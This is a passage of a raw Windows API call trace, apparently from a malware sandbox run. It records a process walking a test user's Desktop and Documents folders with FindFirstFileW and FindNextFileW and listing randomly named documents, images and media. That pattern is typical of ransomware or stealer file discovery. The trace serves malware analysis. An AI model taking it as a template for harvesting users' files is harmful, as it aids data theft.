dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.429] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f60e8 | out: hHeap=0x670000) returned 1 [0059.429] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.429] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\") returned="0oqCmMdMfyA -VyQ\\" [0059.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0059.429] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.429] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.429] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.429] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.429] PathFindFileNameW (pszPath="") returned="" [0059.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.429] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eab8 | out: hHeap=0x670000) returned 1 [0059.429] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.430] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c1e0b0, ftCreationTime.dwHighDateTime=0x1d4cee7, ftLastAccessTime.dwLowDateTime=0x47533a60, ftLastAccessTime.dwHighDateTime=0x1d4c5bb, ftLastWriteTime.dwLowDateTime=0x47533a60, ftLastWriteTime.dwHighDateTime=0x1d4c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x8fff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="am8f6gN_e89TbRknT.wav", cAlternateFileName="AM8F6G~1.WAV")) returned 1 [0059.430] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0xc846650, ftLastWriteTime.dwHighDateTime=0x1d4cb76, nFileSizeHigh=0x0, nFileSizeLow=0x15bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf", cAlternateFileName="GW8MJU~1.SWF")) returned 1 [0059.430] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0xc846650, ftLastWriteTime.dwHighDateTime=0x1d4cb76, nFileSizeHigh=0x0, nFileSizeLow=0x15bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf", cAlternateFileName="GW8MJU~1.SWF")) returned 0 [0059.430] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0059.430] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\") returned="cJ1uF3yzdYr\\" [0059.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0059.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.430] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.430] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.430] PathFindFileNameW (pszPath="") returned="" [0059.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d618 | out: hHeap=0x670000) returned 1 [0059.430] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e23160, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x8dd82a10, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x8dd82a10, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x8963, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4_mbPPGlzHp_oUuJ-H3Z.bmp", cAlternateFileName="4_MBPP~1.BMP")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ccb0e60, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x8b1e3a30, ftLastAccessTime.dwHighDateTime=0x1d4cdac, ftLastWriteTime.dwLowDateTime=0x8b1e3a30, ftLastWriteTime.dwHighDateTime=0x1d4cdac, nFileSizeHigh=0x0, nFileSizeLow=0x13265, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6lkmIZ.jpg", cAlternateFileName="")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43aed7b0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xc155f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xc155f9f0, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0xc7f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bYco6U CoNywT.ots", cAlternateFileName="BYCO6U~1.OTS")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16748d40, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0x3fdc1f20, ftLastAccessTime.dwHighDateTime=0x1d4cf54, ftLastWriteTime.dwLowDateTime=0x3fdc1f20, ftLastWriteTime.dwHighDateTime=0x1d4cf54, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sH_lIdhNg4 u9hq.xls", cAlternateFileName="SH_LID~1.XLS")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e994230, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x362be050, ftLastAccessTime.dwHighDateTime=0x1d4c824, ftLastWriteTime.dwLowDateTime=0x362be050, ftLastWriteTime.dwHighDateTime=0x1d4c824, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UB qDPSTcD6SsAM5.pdf", cAlternateFileName="UBQDPS~1.PDF")) returned 1 [0059.431] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e994230, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x362be050, ftLastAccessTime.dwHighDateTime=0x1d4c824, ftLastWriteTime.dwLowDateTime=0x362be050, ftLastWriteTime.dwHighDateTime=0x1d4c824, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UB qDPSTcD6SsAM5.pdf", cAlternateFileName="UBQDPS~1.PDF")) returned 0 [0059.431] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.431] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.431] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0059.431] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.431] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0059.431] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0059.431] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.431] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.431] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.431] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.431] PathFindFileNameW (pszPath="") returned="" [0059.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0320ac0, ftCreationTime.dwHighDateTime=0x1d4cd80, ftLastAccessTime.dwLowDateTime=0xfba86320, ftLastAccessTime.dwHighDateTime=0x1d4d0bd, ftLastWriteTime.dwLowDateTime=0xfba86320, ftLastWriteTime.dwHighDateTime=0x1d4d0bd, nFileSizeHigh=0x0, nFileSizeLow=0x658d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4k4 81HVDXuJOl.odp", cAlternateFileName="4K481H~1.ODP")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab73890, ftCreationTime.dwHighDateTime=0x1d4c785, ftLastAccessTime.dwLowDateTime=0x24e8e3f0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x24e8e3f0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x18289, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eMppgNp_d0eONIt.mp4", cAlternateFileName="EMPPGN~1.MP4")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab5fc20, ftCreationTime.dwHighDateTime=0x1d4d1c3, ftLastAccessTime.dwLowDateTime=0xe3e2d300, ftLastAccessTime.dwHighDateTime=0x1d4c655, ftLastWriteTime.dwLowDateTime=0xe3e2d300, ftLastWriteTime.dwHighDateTime=0x1d4c655, nFileSizeHigh=0x0, nFileSizeLow=0x1dbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ok1IxJmM0MNDy1z2SKRW.odp", cAlternateFileName="OK1IXJ~1.ODP")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a0a420, ftCreationTime.dwHighDateTime=0x1d4d2db, ftLastAccessTime.dwLowDateTime=0x99072480, ftLastAccessTime.dwHighDateTime=0x1d4c9b6, ftLastWriteTime.dwLowDateTime=0x99072480, ftLastWriteTime.dwHighDateTime=0x1d4c9b6, nFileSizeHigh=0x0, nFileSizeLow=0x103c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rqjkx-Inyu564.bmp", cAlternateFileName="RQJKX-~1.BMP")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0ac61b0, ftCreationTime.dwHighDateTime=0x1d4d2ee, ftLastAccessTime.dwLowDateTime=0x9e6a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x9e6a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0CQ8VVBC5Xi_UA", cAlternateFileName="T0CQ8V~1")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f7709b0, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0x556521e0, ftLastAccessTime.dwHighDateTime=0x1d4cee9, ftLastWriteTime.dwLowDateTime=0x556521e0, ftLastWriteTime.dwHighDateTime=0x1d4cee9, nFileSizeHigh=0x0, nFileSizeLow=0xde5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wpZkXn.mp4", cAlternateFileName="")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 1 [0059.432] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0 [0059.432] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eab8 | out: hHeap=0x670000) returned 1 [0059.432] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.432] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0059.432] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.432] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.433] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.433] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.433] PathFindFileNameW (pszPath="") returned="" [0059.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0xffffffff [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.433] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0059.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.433] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.433] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.433] PathFindFileNameW (pszPath="") returned="" [0059.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x7b13b990, ftLastWriteTime.dwHighDateTime=0x1d4d10c, nFileSizeHigh=0x0, nFileSizeLow=0xcb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg", cAlternateFileName="WWURIW~1.JPG")) returned 0xffffffff [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.433] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.433] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0059.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0059.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.434] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.434] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.434] PathFindFileNameW (pszPath="") returned="" [0059.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.435] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0059.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0059.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0059.435] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.435] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.435] HeapFree 